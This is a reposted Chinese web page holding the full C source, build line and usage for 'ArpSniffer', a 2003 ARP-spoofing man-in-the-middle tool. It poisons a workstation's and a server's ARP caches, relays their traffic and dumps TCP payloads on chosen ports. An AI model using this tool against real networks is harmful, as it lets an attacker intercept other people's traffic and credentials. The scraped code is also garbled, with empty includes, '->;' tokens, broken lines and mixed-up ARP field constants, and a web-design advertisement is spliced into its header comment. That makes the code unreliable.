ArpSniffer在linux下面的具体实现

/*============================================================================

Coder:  Paris-ye

Released on: 1/9/2003

Test on: redhat 9.0

为驿城等地区用户提供了全套网页设计制作服务,及驿城网站建设行业解决方案。主营业务为网站设计制作、成都网站制作、驿城网站设计,以传统方式定制建设网站,并提供域名空间备案等一条龙服务,秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求,就会得到认可,从而选择与我们长期合作。这样,我们也可以走得更远!

Information:

This is a arp spoof sniffer.

W <--- workstation

B <--- Server or  GateWay

M <--- Man in the middle (agent),self IP address

Make:

first you must install "pcap" and "libnet"

gcc -I/usr/local/include -L/usr/local/lib -o sniffer sniffer.c -lpcap -lnet

Usage:

./sniffer -I [Interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]

============================================================================*/

#include  ;

#include  ;

#include  ;

#include  ;

#include  ;

#define  MAXBUF 1024*4

#define  PCAP_TOUT 5

#define  PROMISC 0

#define  TRUE 1

#define  FALSE 0

/* Ethernet protocol ID's */    

#define ETHERTYPE_PUP           0x0200          /* Xerox PUP */

#define ETHERTYPE_IP            0x0800          /* IP */

#define ETHERTYPE_ARP           0x0806          /* Address resolution */

#define ETHERTYPE_REVARP        0x8035          /* Reverse ARP */

/* This structure defines an ethernet arp header.  */

/* ARP protocol opcodes. */

#define ARPOP_REQUEST   1               /* ARP request.  */

#define ARPOP_REPLY     2               /* ARP reply.  */

#define ARPOP_RREQUEST  3               /* RARP request.  */

#define ARPOP_RREPLY    4               /* RARP reply.  */

#define ARPOP_InREQUEST 8               /* InARP request.  */

#define ARPOP_InREPLY   9               /* InARP reply.  */

#define ARPOP_NAK       10              /* (ATM)ARP NAK.  */

/* ARP protocol HARDWARE identifiers. */

#define ARPHRD_NETROM   0               /* From KA9Q: NET/ROM pseudo. */

#define ARPHRD_ETHER    1               /* Ethernet 10/100Mbps.  */

#define ARPHRD_EETHER   2               /* Experimental Ethernet.  */

#define ARPHRD_AX25     3               /* AX.25 Level 2.  */

#define ARPHRD_PRONET   4               /* PROnet token ring.  */

#define ARPHRD_CHAOS    5               /* Chaosnet.  */

#define ARPHRD_IEEE802  6               /* IEEE 802.2 Ethernet/TR/TB.  */

#define ARPHRD_ARCNET   7               /* ARCnet.  */

#define ARPHRD_APPLETLK 8               /* APPLEtalk.  */

#define ARPHRD_DLCI     15              /* Frame Relay DLCI.  */

#define ARPHRD_ATM      19              /* ATM.  */

#define ARPHRD_METRICOM 23              /* Metricom STRIP (new IANA id).  */

/* Dummy types for non ARP hardware */

#define ARPHRD_SLIP       0x256

#define ARPHRD_CSLIP      0x257

#define ARPHRD_SLIP6      0x258

#define ARPHRD_CSLIP6     0x259

#define ARPHRD_RSRVD      0x260             /* Notional KISS type.  */

#define ARPHRD_ADAPT      0x264

#define ARPHRD_ROSE       0x270 

#define ARPHRD_X25        0x271             /* CCITT X.25.  */

#define ARPHDR_HWX25      0x272             /* Boards with X.25 in firmware.  */

#define ARPHRD_PPP        0x512

#define ARPHRD_CISCO      0x513             /* Cisco HDLC.  */

#define ARPHRD_HDLC       ARPHRD_CISCO

#define ARPHRD_LAPB       0x516             /* LAPB.  */

#define ARPHRD_DDCMP      0x517             /* Digital's DDCMP.  */

#define ARPHRD_RAWHDLC    0x518             /* Raw HDLC.  */

    

#define ARPHRD_TUNNEL     0x768             /* IPIP tunnel.  */

#define ARPHRD_TUNNEL6    0x769             /* IPIP6 tunnel.  */

#define ARPHRD_FRAD       0x770             /* Frame Relay Access Device.  */

#define ARPHRD_SKIP       0x771             /* SKIP vif.  */

#define ARPHRD_LOOPBACK   0x772             /* Loopback device.  */

#define ARPHRD_LOCALTLK   0x773             /* Localtalk device.  */

#define ARPHRD_FDDI       0x774             /* Fiber Distributed Data Interface. */

#define ARPHRD_BIF        0x775             /* AP1000 BIF.  */ 

#define ARPHRD_SIT        0x776             /* sit0 device - IPv6-in-IPv4.  */

#define ARPHRD_IPDDP      0x777             /* IP-in-DDP tunnel.  */

#define ARPHRD_IPGRE      0x778             /* GRE over IP.  */

#define ARPHRD_PIMREG     0x779             /* PIMSM register interface.  */

#define ARPHRD_HIPPI      0x780             /* High Performance Parallel I'face. */

#define ARPHRD_ASH        0x781             /* (Nexus Electronics) Ash.  */

#define ARPHRD_ECONET     0x782             /* Acorn Econet.  */

#define ARPHRD_IRDA       0x783             /* Linux-IrDA.  */

#define ARPHRD_FCPP       0x784             /* Point to point fibrechanel.  */

#define ARPHRD_FCAL       0x785             /* Fibrechanel arbitrated loop.  */

#define ARPHRD_FCPL       0x786             /* Fibrechanel public loop.  */

#define ARPHRD_FCPFABRIC  0x787             /* Fibrechanel fabric.  */

#define ARPHRD_IEEE802_TR 0x800             /* Magic type ident for TR.  */

#define ARPHRD_IEEE80211  0x801             /* IEEE 802.11.  */

/* IP version number */

#define IPVERSION       4

struct ether_header

{

u_int8_t  ether_dhost[6];      /* destination eth addr */

u_int8_t  ether_shost[6];      /* source ether addr    */

u_int16_t ether_type;          /* packet type ID field */

};

struct arphdr

{

        unsigned short int ar_hrd;          /* Format of hardware address.  */

        unsigned short int ar_pro;          /* Format of protocol address.  */

        unsigned char ar_hln;               /* Length of hardware address.  */

        unsigned char ar_pln;               /* Length of protocol address.  */

        unsigned short int ar_op;           /* ARP opcode (command).  */

        unsigned char __ar_sha[6];          /* Sender hardware address.  */

        unsigned char __ar_sip[4];          /* Sender IP address.  */

        unsigned char __ar_tha[6];          /* Target hardware address.  */

        unsigned char __ar_tip[4];          /* Target IP address.  */

};

/*

 * Structure of an internet header, naked of options.

 */

struct iphead

{

unsigned int ip_hl:4;               /* header length */

unsigned int ip_v:4;                /* version */

u_int8_t ip_tos;                    /* type of service */

u_short ip_len;                     /* total length */

u_short ip_id;                      /* identification */

u_short ip_off;                     /* fragment offset field */

u_int8_t ip_ttl;                    /* time to live */

u_int8_t ip_p;                      /* protocol */

u_short ip_sum;                     /* checksum */

u_char ip_src[4], ip_dst[4];      /* source and dest address */

};

struct tcphead

  {

    u_int16_t th_sport;         /* source port */

    u_int16_t th_dport;         /* destination port */

    u_int32_t th_seq;             /* sequence number */

    u_int32_t th_ack;             /* acknowledgement number */

    u_int8_t th_off:4;          /* data offset */

    u_int8_t th_x2:4;           /* (unused) */

    u_int8_t th_flags;

#define TH_FIN        0x01

#define TH_SYN        0x02

#define TH_RST        0x04

#define TH_PUSH       0x08

#define TH_ACK        0x10

#define TH_URG        0x20

    u_int16_t th_win;           /* window */

    u_int16_t th_sum;           /* checksum */

    u_int16_t th_urp;           /* urgent pointer */

};

/*

 * W , S , M 's ip and mac address

 */

struct ipmacaddr

{

u_char ipW[4];

u_char macW[6];

u_char ipS[4];

u_char macS[6];

u_char ipM[4];

u_char macM[6];

};

int usage(char* argv)

{

printf("====================================\n");

printf("============Arp Sniffer=============\n");

printf("==========Write by Paris-Ye=========\n");

        printf("===Usage: %s -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]\n", argv);

printf("===For example:\n");

printf("\t%s -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254\n",argv);

        return 0;

}

/*send arp packet function*/

int arpsend(libnet_t* lnet,u_char* smac,u_char* sip,u_char* dmac,u_char* dip)

{

int ret=0;

u_char* packet;

u_long packets;

libnet_ptag_t t;

struct ether_header* ethh;

struct arphdr* arph;

packets=sizeof(struct ether_header)+sizeof(struct arphdr);

packet = malloc(packets);

ethh = (struct ether_header* ) packet;

arph = (struct arphdr* ) (packet+sizeof(struct ether_header));

memcpy(ethh->;ether_dhost,dmac,6);

memcpy(ethh->;ether_shost,smac,6);

ethh->;ether_type = htons(ETHERTYPE_ARP);

arph->;ar_hrd = htons(ARPOP_REQUEST);

arph->;ar_pro = htons(ARPHRD_IEEE802_TR);

arph->;ar_hln = 6;

arph->;ar_pln = 4;

arph->;ar_op = htons(ARPHRD_ETHER);

memcpy(arph->;__ar_sha,smac,6);

memcpy(arph->;__ar_sip,sip,4);

bzero(arph->;__ar_tha,6);

memcpy(arph->;__ar_tip,dip,4);

ret = libnet_write_link(

lnet,

packet,

packets

);

if(ret == -1)

{

return FALSE;

}

return TRUE;

}

/*Send spoof arp S And W every 6 second interval*/

void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac)

{

while(TRUE)

{

arpsend(lnet,ipmac->;macM,ipmac->;ipS,ipmac->;macW,ipmac->;ipW);

arpsend(lnet,ipmac->;macM,ipmac->;ipW,ipmac->;macS,ipmac->;ipS);

sleep(6);

}

}

/*Forward packets W--->;S or S--->;W*/

int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM)

{

int ret=0;

const u_char* datapoint=packet;

struct ether_header* ethhdr;

struct iphead*       iph;

ethhdr = (struct ether_header*) datapoint;

if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)

return TRUE;

if(!memcmp(ethhdr->;ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/

return TRUE;

if(memcmp(ethhdr->;ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/

return TRUE;

if(!memcmp(ethhdr->;ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/

{

memcpy(ethhdr->;ether_shost,macM,6);

memcpy(ethhdr->;ether_dhost,macS,6);

ret = libnet_write_link(

lnet,

(u_char*)datapoint,

len

);

}

if(!memcmp(ethhdr->;ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/

{

memcpy(ethhdr->;ether_shost,macM,6);

memcpy(ethhdr->;ether_dhost,macW,6);

ret = libnet_write_link(

lnet,

(u_char*)datapoint,

len

);

}

return TRUE;

}

/*print hex date to Ascii */

void printdat(u_char* packet,int len)

{

int i=0,j=0;

u_char str[16];

for(i=0;i<=len-16;i+=16)

{

memcpy(str,packet+i,16);

fprintf(stdout,"%02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x  ",

str[0],str[1],str[2],str[3],

str[4],str[5],str[6],str[7],

str[8],str[9],str[10],str[11],

str[12],str[13],str[14],str[15]

);

for(j=0;j<16;j++)

{

if(str[j] < 32 || str[j] >; 126)

str[j]='.';

}

fprintf(stdout,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",

str[0],str[1],str[2],str[3],

str[4],str[5],str[6],str[7],

str[8],str[9],str[10],str[11],

str[12],str[13],str[14],str[15]

);

}

if(i!=len)

{

memcpy(str,packet+i,16);

for(j=0;j<16;j++)

{

if(j%4==0 && j!=0)

fprintf(stdout," ");

if((i+j) {

fprintf(stdout,"%02x",str[j]);

}

else

fprintf(stdout,"  ");

}

fprintf(stdout,"  ");

for(j=0;j<16;j++)

{

if((i+j) {

if(str[j] < 32 || str[j] >; 126)

str[j]='.';

fprintf(stdout,"%c",str[j]);

}

}

fprintf(stdout,"\n\n");

}

}

/*parse packet*/

int  parsedate(const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM,u_char* ipW,u_char* ipS,int* port)

{

int i=0;

int     contents;

u_char* content;

const u_char* datapoint=packet;

struct ether_header* ethhdr;

struct iphead*       iph;

struct tcphead*      tcph;

ethhdr = (struct ether_header*) datapoint;

iph = (struct iphead*) (datapoint+sizeof(struct ether_header));

tcph = (struct tcphead*) (datapoint+sizeof(struct ether_header)+sizeof(struct iphead));

if(memcmp(ethhdr->;ether_shost,macW,6) && memcmp(ethhdr->;ether_shost,macS,6))

return FALSE;

if(memcmp(ethhdr->;ether_dhost,macM,6))

return FALSE;

if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)

return FALSE;

if(iph->;ip_v != 4 || iph->;ip_hl != 5)

return FALSE;

if(!(!memcmp(iph->;ip_dst,ipW,4) || !memcmp(iph->;ip_src,ipW,4)))

return FALSE;

if(iph->;ip_p != IPPROTO_TCP)

return FALSE;

contents = htons(iph->;ip_len)-sizeof(struct iphead)-sizeof(struct tcphead);

content = (u_char *)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead)+sizeof(struct tcphead));

if((tcph->;th_flags & TH_PUSH))

{

for(i==0;port !=0;i++)

{

printf("=====%d %d\n",port,htons(tcph->;th_dport));

if(port==htons(tcph->;th_dport) || port==htons(tcph->;th_sport))

break;

}

if(port==0)

return;

printf("Size:[%d] [%d.%d.%d.%d:%d]->;[%d.%d.%d.%d:%d]\n",htons(iph->;ip_len),

iph->;ip_src[0],iph->;ip_src[1],iph->;ip_src[2],iph->;ip_src[3],htons(tcph->;th_sport),

iph->;ip_dst[0],iph->;ip_dst[1],iph->;ip_dst[2],iph->;ip_dst[3],htons(tcph->;th_dport)

);

printdat(content,contents);

}

return TRUE;

}

/*Sniffer packets*/

int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port)

{

const u_char* packet;

struct pcap_pkthdr hdr;

while(1)

{

packet=pcap_next(lpcap,&hdr);

if(packet==NULL || hdr.len==0)

continue;

parsedate(packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM,ipmac->;ipW,ipmac->;ipS,port);

forwarddate(lnet,packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM);

}

return TRUE;

}

/*

When initialize Get the S and W Mac address

Send arp request 

*/

int gettargetmac(libnet_t* lnet,struct ipmacaddr* ipmac)

{

while(1)

{

arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macW,ipmac->;ipW);

arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macS,ipmac->;ipS);

sleep(1);

}

return TRUE;

}

/*

When initialize Get the S and W Mac address

parse arp reply

*/

int getmacaddress(char* dev,libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac)

{

int skfd=0;

unsigned int isgetmac=0x0;

pid_t pid=0;

struct ifreq ifr;

const u_char* packet;

struct pcap_pkthdr hdr;

struct ether_header* ethhdr;

struct arphdr* arph;

//----------get local mac adrress

strcpy(ifr.ifr_name,dev);

skfd = socket(AF_INET,SOCK_DGRAM,0);

if(skfd<0)

{

printf("Can't open socket!\n");

return FALSE;

}

if(ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0)

{

printf("Can't read local mac address!\n");

return FALSE;

}

memcpy(ipmac->;macM,ifr.ifr_hwaddr.sa_data,6);

close(skfd);

//----------get target mac address

pid = fork();

if(pid==0)

{

gettargetmac(lnet,ipmac);

exit(TRUE);

}

while(1)

{

packet=pcap_next(lpcap,&hdr);

if(packet==NULL || hdr.len==0)

continue;

ethhdr = (struct ether_header*) packet;

arph = (struct arphdr*) (packet+sizeof(struct ether_header));

if(memcmp(ethhdr->;ether_dhost,ipmac->;macM,6))

continue;

if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_ARP)

continue;

if(!memcmp(arph->;__ar_sip,ipmac->;ipW,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4))

{

memcpy(ipmac->;macW,arph->;__ar_sha,6);

isgetmac=0xFFFF0000 | isgetmac;

}

if(!memcmp(arph->;__ar_sip,ipmac->;ipS,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4))

{

memcpy(ipmac->;macS,arph->;__ar_sha,6);

isgetmac=0x0000FFFF | isgetmac;

}

if(isgetmac == 0xFFFFFFFF)

break;

}

kill(pid,9);

return TRUE;

}

int main(int argc,char* argv[])

{

int          ret=0,i=0;

char  *p,*s;

char c;

char string[]="I:M:W:S:P:";

int port[100];

char dev[32]="";

struct ipmacaddr ipmac;

pid_t pid;

libnet_t* lnet;

pcap_t*     lpcap;

bpf_u_int32 netp,maskp;

struct bpf_program fp;

char        err[PCAP_ERRBUF_SIZE];

char        filterstr[]="";

unsigned int ipM;

unsigned int ipW;

unsigned int ipS;

u_char macW[] = {255,255,255,255,255,255,255};

u_char macS[] = {255,255,255,255,255,255,255};

u_char macM[] = {255,255,255,255,255,255,255};

bzero(&ipmac,sizeof(struct ipmacaddr));

if(argc<8)

{

usage(argv[0]);

return FALSE;

}

while((c = getopt(argc, argv, string)) != EOF)

{

switch(c)

{

case('I'):

strcpy(dev,optarg);

break;

case('M'):

ipM = inet_addr(optarg);

memcpy(ipmac.ipM,(void*)&ipM,4);

break;

case('W'):

ipW = inet_addr(optarg);

memcpy(ipmac.ipW,(void*)&ipW,4);

break;

case('S'):

ipS = inet_addr(optarg);

memcpy(ipmac.ipS,(void*)&ipS,4);

break;

case('P'):

printf("%s\n",optarg);

s = optarg;

       p=strtok(s,":");

         while(p)

         {

port=atoi(p);

           printf("%d\n",port);

           p=strtok(NULL,":");

i++;

        }

port=0;

break;

default:

usage(argv[0]);

return FALSE;

}

}

memcpy(ipmac.macW,macW,6);

memcpy(ipmac.macS,macS,6);

memcpy(ipmac.macM,macM,6);

ret = pcap_lookupnet(dev,&netp,&maskp,err);

if(ret == -1)

{

printf("Can't initialize PCAP![%s]\n",err);

return FALSE;

}

lpcap = pcap_open_live(

dev,

MAXBUF,

PROMISC,

PCAP_TOUT,

err

);

if(lpcap == NULL)

{

printf("Can't initialize PCAP![%s]\n",err);

return FALSE;

}

ret = pcap_compile(lpcap,&fp,filterstr,0,netp);

if(ret == -1)

{

printf("Error pcap_compile!\n");

return FALSE;

}

ret = pcap_setfilter(lpcap,&fp);

if(ret == -1)

{

printf("Error pcap_setfilter!\n");

return FALSE;

}

lnet = libnet_init(

LIBNET_LINK,

dev,

err);

if(lnet == NULL)

{

printf("Can't initialize libnet!Please check the [dev]\n");

return FALSE;

}

ret = getmacaddress(dev,lnet,lpcap,&ipmac);

printf("Get network cards mac address:\n");

printf("M->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macM[0],ipmac.macM[1],ipmac.macM[2],ipmac.macM[3],ipmac.macM[4],ipmac.macM[5],ipmac.macM[6]);

printf("W->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macW[0],ipmac.macW[1],ipmac.macW[2],ipmac.macW[3],ipmac.macW[4],ipmac.macW[5],ipmac.macW[6]);

printf("S->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macS[0],ipmac.macS[1],ipmac.macS[2],ipmac.macS[3],ipmac.macS[4],ipmac.macS[5],ipmac.macS[6]);

printf("\nNow Start... .. .\n");

if(ret == FALSE)

{

return FALSE;

}

pid = fork();

if(pid==0)

{

arpspoof(lnet,&ipmac);

return FALSE;

}else

{

agentpacket(lnet,lpcap,&ipmac,port);

}

libnet_destroy(lnet);

pcap_close(lpcap);

printf("Done\n");

return TRUE;

}

文章题目:ArpSniffer在linux下面的具体实现
URL标题:http://www.shufengxianlan.com/qtweb/news19/291469.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联